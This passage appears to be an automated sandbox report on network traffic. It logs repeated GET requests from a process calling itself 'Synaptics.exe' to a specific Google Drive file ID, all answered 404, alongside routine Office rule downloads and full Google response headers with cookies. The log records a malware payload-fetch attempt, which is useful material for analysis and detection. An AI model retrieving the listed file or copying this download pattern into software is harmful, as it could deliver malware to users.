Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=w9M-T3Z8vgCDJHXUx4foKiLYGWfFInpa9djgBgBOpjvFSVC-asR4CswmPSEfwCoHTYTSn1cRciNbI65Je1hp4vtR0GpRvRUYxl8c0LE8UIL2xsp_IBFI5CAbhJFnzzohcWWreZekRghMv5oPPwHoh77eFeVG1sWdXWN9B00bpXZLX8boAIcVh8-o
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=w9M-T3Z8vgCDJHXUx4foKiLYGWfFInpa9djgBgBOpjvFSVC-asR4CswmPSEfwCoHTYTSn1cRciNbI65Je1hp4vtR0GpRvRUYxl8c0LE8UIL2xsp_IBFI5CAbhJFnzzohcWWreZekRghMv5oPPwHoh77eFeVG1sWdXWN9B00bpXZLX8boAIcVh8-o
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=w9M-T3Z8vgCDJHXUx4foKiLYGWfFInpa9djgBgBOpjvFSVC-asR4CswmPSEfwCoHTYTSn1cRciNbI65Je1hp4vtR0GpRvRUYxl8c0LE8UIL2xsp_IBFI5CAbhJFnzzohcWWreZekRghMv5oPPwHoh77eFeVG1sWdXWN9B00bpXZLX8boAIcVh8-o
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=w9M-T3Z8vgCDJHXUx4foKiLYGWfFInpa9djgBgBOpjvFSVC-asR4CswmPSEfwCoHTYTSn1cRciNbI65Je1hp4vtR0GpRvRUYxl8c0LE8UIL2xsp_IBFI5CAbhJFnzzohcWWreZekRghMv5oPPwHoh77eFeVG1sWdXWN9B00bpXZLX8boAIcVh8-o
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=w9M-T3Z8vgCDJHXUx4foKiLYGWfFInpa9djgBgBOpjvFSVC-asR4CswmPSEfwCoHTYTSn1cRciNbI65Je1hp4vtR0GpRvRUYxl8c0LE8UIL2xsp_IBFI5CAbhJFnzzohcWWreZekRghMv5oPPwHoh77eFeVG1sWdXWN9B00bpXZLX8boAIcVh8-o
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:47 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-T6BzwsIICwVS27no_CZsfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7NAdcFLJULe8BspS8HQgDNQOoVYsLeSEMY_dWTOe8GNuq0t13KNEXmuqCEpzxCHxFQ5oRtEVdSbwServer: UploadServerSet-Cookie: NID=519=RQpmNPEKp9-BorChwDePt_fivwFPn8Roa_FDAPtAqMUuqL2qOpkOEEXwBdLwzo1mm8EXIsOqVy_7fB49LIhuJFohHS7cDk-82tTjqu5AFdFfQTMNus99pS2we0XaRFvo9t717RsVly6KFx5dr9JvYYSpSM5z5FW1uKXHBNg-6l6W6UB9pDqtxvFy; expires=Fri, 06-Jun-2025 18:37:47 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:48 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-eTa_H68rpkx8rTUULG3crQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC6jnP6PY3kGixjDg0pNiboC5eG8tvmzOGIuGqi8Y-mYPHJvYoF4wyC3d7LxoVKHiSrlzfnXRsRfBwServer: UploadServerSet-Cookie: NID=519=w9M-T3Z8vgCDJHXUx4foKiLYGWfFInpa9djgBgBOpjvFSVC-asR4CswmPSEfwCoHTYTSn1cRciNbI65Je1hp4vtR0GpRvRUYxl8c0LE8UIL2xsp_IBFI5CAbhJFnzzohcWWreZekRghMv5oPPwHoh77eFeVG1sWdXWN9B00bpXZLX8boAIcVh8-o; expires=Fri, 06-Jun-2025 18:37:48 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:54 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-hfAs2q2qO79LQY5MvNeQbw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5OwpR3OFMTeGPknULbb8kgIF-PGbXPb7QznLMmEsFjcIREJHI8J7mEtlJidIP3winBKn7C35QyHQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-4OkLZpn4rsk-Yh9Wo7Unzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4f0Gxg-8AqgN5nnJTxtxFAQyefMtf6ByaQJEFCTDFtTLd-TKRYHAufvgEiH4XrsoqbyC65te7AqgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:57 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-5YiaGmwU5geZoehp8p11ww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5kN78hYC_u_czFz_cmROyGeq9sBdkpSKlzsFOymZl-WinM6s6ZIucdeKzqijBhMrImbyd_VCtVBQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:59 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-I0ZA1w8f4tW2jDL5SBJT6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5Y1-Tiwa8DAJYUMyHMOOzK2qnICATt-UfxjSSnPCxNQQFs0uDPZh0TpDz53teLyX5Z7Ro4OoDUxAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:37:59 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-nHJcV83871-WBzQqD3F8vA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7f34BO6tK305anK7ezDHk9NI6LNw57X_09OQbC-EWnJspdbcJOcRKjOXFm1rwtlJR64QqdOgfa0gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:05 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-UOh5j2HgXLndodcdNf8F0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6EM4rOjdmKxDjmLXqdVFL7CG0XVvhKAj828ubxns8LbexSZ1759NEUA3XEWp1c7JTDdHSDiazTtAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-S9ZKJ8c7pC--9X3s1e6i-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6KLQxN7opzNIq0mDFzu_4nT4-mPuSeGE6NKVmsP8ctl-kfsADaVIljcE6pspINgmrIJ60fRgaTgQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:11 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-XcK4cVV9uZ6ZP8L3CKRqdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5Qnu7DKB7mpPe2PP6JquGzwrd4PqC8qbDVY7v8Ect2ZtPMNmE0fiJ16sCMGZYqrC-vra--6J31GQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:11 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-6UHsxf9paIMpVfTjn_07pg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7C52voSyUowkvQPmWpCr9gRxiP2yqZezPfVmMDwanHsUH-iX2xlccEdbvOPYJlWpOadXYServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:16 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-fouTkJJ0gTwVtF8O59yvKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC41yjyxnG9NhbcWpL7kI3CfbUjU0BfVGH1JhohN3jtC_oXh7SYg4YcVXB3b0CSHSWwxCye3fIcLggServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:38:17 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-E6MUTPIVhdAY1eQer-glqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 